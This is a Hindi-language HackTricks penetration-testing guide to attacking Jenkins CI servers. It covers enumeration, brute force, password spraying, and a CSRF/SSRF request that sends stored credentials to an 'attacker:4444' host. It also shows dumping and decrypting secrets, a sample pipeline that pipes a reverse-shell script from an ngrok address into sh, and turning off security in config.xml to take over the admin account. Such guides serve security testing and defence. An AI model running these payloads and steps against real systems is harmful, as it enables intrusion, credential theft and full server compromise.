Jenkins सुरक्षा

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Jenkins एक ऐसा टूल है जो pipelines का उपयोग करके लगभग कोई भी संयोजन — जैसे प्रोग्रामिंग भाषाएँ और source code repositories — के लिए continuous integration या continuous delivery (CI/CD) वातावरण स्थापित करने का एक सरल तरीका प्रदान करता है। इसके अलावा, यह कई नियमित विकास कार्यों को स्वचालित करता है। हालांकि Jenkins व्यक्तिगत चरणों के लिए अलग‑अलग चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता को समाप्त नहीं करता, यह build, test, और deployment टूल्स के पूरे क्रम को एकीकृत करने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जिसे मैन्युअल रूप से आसानी से तैयार करना कठिन होता है।

Basic Jenkins Information

बिना प्रमाणीकरण के एन्यूमरेशन

प्रमाणीकरण के बिना रोचक Jenkins पेजों की खोज करने के लिए जैसे (/people or /asynchPeople, this lists the current users) आप उपयोग कर सकते हैं:

msf> use auxiliary/scanner/http/jenkins_enum

जांच करें कि क्या आप authentication की आवश्यकता के बिना commands execute कर सकते हैं:

msf> use auxiliary/scanner/http/jenkins_command

बिना credentials के आप /asynchPeople/ path या /securityRealm/user/admin/search/index?q= में जाकर usernames देख सकते हैं।

आप संभवतः /oops या /error path से Jenkins का version प्राप्त कर सकते हैं।

ज्ञात कमजोरियाँ

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

लॉगिन

basic information में आप Jenkins के अंदर लॉगिन करने के सभी तरीके देख सकते हैं:

Basic Jenkins Information

Register

आप ऐसे Jenkins instances पाएंगे जो आपको एक account बनाने और अंदर लॉगिन करने की अनुमति देते हैं। बस इतना सरल।

SSO Login

अगर SSO functionality/plugins मौजूद थे तो आपको एक टेस्ट अकाउंट (यानी एक टेस्ट Github/Bitbucket account) का उपयोग करके application में log-in करने का प्रयास करना चाहिए। Trick from here.

Bruteforce

Jenkins में password policy और username brute-force mitigation का अभाव है। उपयोगकर्ताओं पर brute-force करना आवश्यक है क्योंकि weak passwords या usernames as passwords इस्तेमाल हो सकते हैं, यहां तक कि reversed usernames as passwords भी।

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

इस्तेमाल करें this python script या this powershell script.

IP Whitelisting Bypass

कई संगठन SaaS-based source control management (SCM) systems जैसे GitHub या GitLab को internal, self-hosted CI समाधान जैसे Jenkins या TeamCity के साथ जोड़ते हैं। यह सेटअप CI सिस्टम को SaaS source control vendors से webhook events प्राप्त करने की अनुमति देता है, मुख्य रूप से pipeline jobs ट्रिगर करने के लिए।

इसे हासिल करने के लिए, संगठन SCM platforms के IP ranges को whitelist करते हैं, जिससे उन्हें webhooks के माध्यम से internal CI system तक पहुँचने की अनुमति मिलती है। हालाँकि, यह ध्यान देने योग्य है कि किसी भी व्यक्ति (anyone) GitHub या GitLab पर एक account बना सकता है और इसे trigger a webhook करने के लिए कॉन्फ़िगर कर सकता है, जिससे संभावित रूप से internal CI system पर अनुरोध भेजे जा सकते हैं।

देखें: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

आंतरिक Jenkins दुरुपयोग

इन परिदृश्यों में हम मान लेते हैं कि आपके पास Jenkins तक पहुँचने के लिए एक वैध खाता है।

Warning

यह इस बात पर निर्भर करता है कि Jenkins में configured Authorization mechanism और compromised user की permissions क्या हैं — आप निम्नलिखित हमले कर पाएँगे या नहीं।

अधिक जानकारी के लिए मूल जानकारी देखें:

Basic Jenkins Information

उपयोगकर्ताओं की सूची

यदि आप Jenkins तक पहुँच चुके हैं, तो आप अन्य पंजीकृत उपयोगकर्ताओं को इस URL पर सूचीबद्ध कर सकते हैं: http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

इस्तेमाल करें this script ताकि build console outputs और build environment variables dump करके उम्मीद की जा सके कि cleartext secrets मिल सकें।

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

कुछ plugins Jelly validateButton या test connection handlers को /descriptorByName/<Class>/testConnection जैसे paths के तहत expose करते हैं। जब handlers do not enforce POST or permission checks, आप:

  • POST को GET में बदलें और Crumb drop करके CSRF checks को bypass करें।
  • यदि कोई Jenkins.ADMINISTER check मौजूद नहीं है तो handler को low-priv/anonymous के रूप में trigger करें।
  • एक admin पर CSRF करें और host/URL parameter बदलकर credentials को exfiltrate करें या outbound calls trigger करें।
  • रिस्पॉन्स एरर्स (उदा., ConnectException) को SSRF/port-scan oracle के रूप में उपयोग करें।

Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

SSH Credentials चोरी करना

यदि compromised user के पास नया Jenkins node create/modify करने के पर्याप्त privileges हैं और SSH credentials पहले से ही अन्य nodes तक access के लिए स्टोर हैं, तो वह एक node create/modify करके और ऐसा host सेट करके जो credentials रिकॉर्ड करेगा बिना host key verify किए, उन credentials को चुरा सकता है:

आम तौर पर आपको Jenkins ssh credentials एक global provider (/credentials/) में मिलेंगी, इसलिए आप उन्हें किसी भी अन्य secret की तरह dump भी कर सकते हैं। अधिक जानकारी के लिए Dumping secrets section देखें।

Jenkins में RCE

Jenkins server में shell प्राप्त करना attacker को यह मौका देता है कि वह सभी secrets और env variables को leak करे और उसी नेटवर्क में मौजूद अन्य machines को exploit करे या यहाँ तक कि cloud credentials भी gather कर ले।

डिफ़ॉल्ट रूप से, Jenkins SYSTEM के रूप में run करेगा। इसलिए, इसे compromise करने पर attacker को SYSTEM privileges मिल जाएंगे।

RCE: किसी project को create/modify करना

किसी project को create/modify करना Jenkins server पर RCE प्राप्त करने का एक तरीका है:

Jenkins RCE Creating/Modifying Project

RCE: Groovy script execute करना

आप Groovy script execute करके भी RCE प्राप्त कर सकते हैं, जो नया project बनाने की तुलना में अधिक stealthy हो सकता है:

Jenkins RCE with Groovy Script

RCE: Pipeline बनाना/modify करना

आप pipeline को create/modify करके भी RCE प्राप्त कर सकते हैं:

Jenkins RCE Creating/Modifying Pipeline

Pipeline का शोषण

Pipelines को exploit करने के लिए आपके पास अभी भी Jenkins तक access होना आवश्यक है।

Build Pipelines

Pipelines को projects में build mechanism के रूप में भी उपयोग किया जा सकता है; ऐसे मामलों में repository के अंदर एक file configure की जाती है जो pipeline syntax रखेगी। डिफ़ॉल्ट रूप से /Jenkinsfile उपयोग होता है:

यह भी संभव है कि pipeline configuration files को अन्य स्थानों (उदाहरण के लिए अन्य repositories) में store किया जाए ताकि repository access और pipeline access को अलग रखा जा सके।

यदि किसी attacker के पास उस file पर write access है तो वह इसे modify कर सकेगा और बिना Jenkins तक access के भी pipeline को potentially trigger कर सकता है.
हो सकता है कि attacker को कुछ branch protections bypass करने की आवश्यकता पड़े (platform और user privileges के अनुसार इन्हें bypass किया जा सकता है या नहीं)।

The most common triggers to execute a custom pipeline are:

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.

Pipeline RCE

पिछले RCE सेक्शन में पहले ही एक तकनीक बताई गई थी get RCE modifying a pipeline

Env variables की जाँच

पूरे pipeline या specific stages के लिए clear text env variables declare करना संभव है। ये env variables sensitive info नहीं रखनी चाहिए, पर एक attacker हमेशा सभी pipeline configurations/Jenkinsfiles को check कर सकता है:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

रहस्यों को डंप करना

Jenkins में आम तौर पर रहस्यों के साथ कैसे व्यवहार किया जाता है, इसकी बुनियादी जानकारी के लिए देखें:

Basic Jenkins Information

Credentials को global providers (/credentials/) या specific projects (/job/<project-name>/configure) के लिए scope किया जा सकता है। इसलिए, इन्हें सभी exfiltrate करने के लिए आपको कम से कम उन सभी projects को compromise करना होगा जिनमें secrets होते हैं और custom/poisoned pipelines execute करने होंगे।

एक और समस्या यह है कि pipeline के env के अंदर secret प्राप्त करने के लिए आपको secret का नाम और प्रकार जानना होगा। उदाहरण के लिए, अगर आप usernamePassword secret को string secret के रूप में load करने की कोशिश करते हैं तो आपको यह error मिलेगा:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

यहाँ कुछ सामान्य secret प्रकार लोड करने का तरीका दिया गया है:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

At the end of this page you can find all the credential types: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

सबसे अच्छा तरीका dump all the secrets at once प्राप्त करने का है — यानी compromising Jenkins मशीन (उदाहरण के लिए built-in node में reverse shell चलाकर) और फिर leaking master keys और encrypted secrets और उन्हें offline decrypt करना।
More on how to do this in the Nodes & Agents section and in the Post Exploitation section.

Triggers

From the docs: The triggers directive defines the automated ways in which the Pipeline should be re-triggered. For Pipelines which are integrated with a source such as GitHub or BitBucket, triggers may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are cron, pollSCM and upstream.

Cron example:

triggers { cron('H */4 * * 1-5') }

देखें दस्तावेज़ों में अन्य उदाहरण

नोड्स और एजेंट्स

एक Jenkins instance में अलग-अलग मशीनों पर विभिन्न agents चल रहे हो सकते हैं। एक attacker के दृष्टिकोण से, अलग-अलग मशीनों तक पहुंच का मतलब है चोरी करने के लिए विभिन्न संभावित cloud credentials या अन्य मशीनों का शोषण करने के लिए उपयोग में लायी जा सकने वाली विभिन्न नेटवर्क एक्सेस

अधिक जानकारी के लिए मूल जानकारी देखें:

Basic Jenkins Information

आप /computer/ में configured nodes को सूचीबद्ध कर सकते हैं; आमतौर पर आपको Built-In Node (जो Jenkins चला रहा होता है) और संभवतः अन्य मिलेंगे:

यह विशेष रूप से रुचिकर है कि Built-In node को compromise किया जाए क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।

यदि आप यह संकेत देना चाहते हैं कि आप run करना चाहते हैं pipeline को built-in Jenkins node में, तो आप pipeline के अंदर निम्नलिखित config निर्दिष्ट कर सकते हैं:

pipeline {
agent {label 'built-in'}

पूर्ण उदाहरण

विशिष्ट agent में Pipeline, एक cron trigger के साथ, pipeline और stage env variables के साथ, एक step में 2 variables load करना और एक reverse shell भेजना:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

यदि आपके पास पर्याप्त अनुमति है, तो आप /credentials/ को एक्सेस करके secrets सूचीबद्ध कर सकते हैं। ध्यान दें कि यह केवल credentials.xml फ़ाइल के अंदर के secrets को सूचीबद्ध करेगा, लेकिन build configuration files में भी अधिक credentials हो सकते हैं।

Groovy से

Jenkins Dumping Secrets from Groovy

डिस्क से

इन फ़ाइलों की आवश्यकता होती है Jenkins secrets को decrypt करने के लिए:

  • secrets/master.key
  • secrets/hudson.util.Secret

ऐसी secrets आमतौर पर निम्न फ़ाइलों में मिलती हैं:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

इन्हें ढूँढने के लिए यहाँ एक regex है:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins secrets को offline में Decrypt करें

यदि आपने उन जरूरी पासवर्ड जो secrets को decrypt करने के लिए dump कर लिए हैं, तो this script का उपयोग करके उन secrets को decrypt करें

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Groovy से Jenkins secrets को Decrypt करें

println(hudson.util.Secret.decrypt("{...}"))

नया एडमिन उपयोगकर्ता बनाएं

  1. Jenkins config.xml फ़ाइल में पहुँचें: /var/lib/jenkins/config.xml या C:\Program Files (x86)\Jenkis\
  2. <useSecurity>true</useSecurity> शब्द खोजें और शब्द true को false में बदलें।
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Restart the Jenkins server: service jenkins restart
  5. अब Jenkins पोर्टल पर फिर जाएँ और इस बार Jenkins किसी भी credentials की मांग नहीं करेगा। आप “Manage Jenkins” पर जाकर प्रशासक पासवर्ड फिर से सेट कर सकते हैं।
  6. <useSecurity>true</useSecurity> में बदलकर security को फिर से सक्रिय करें और Jenkins को फिर से restart करें।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें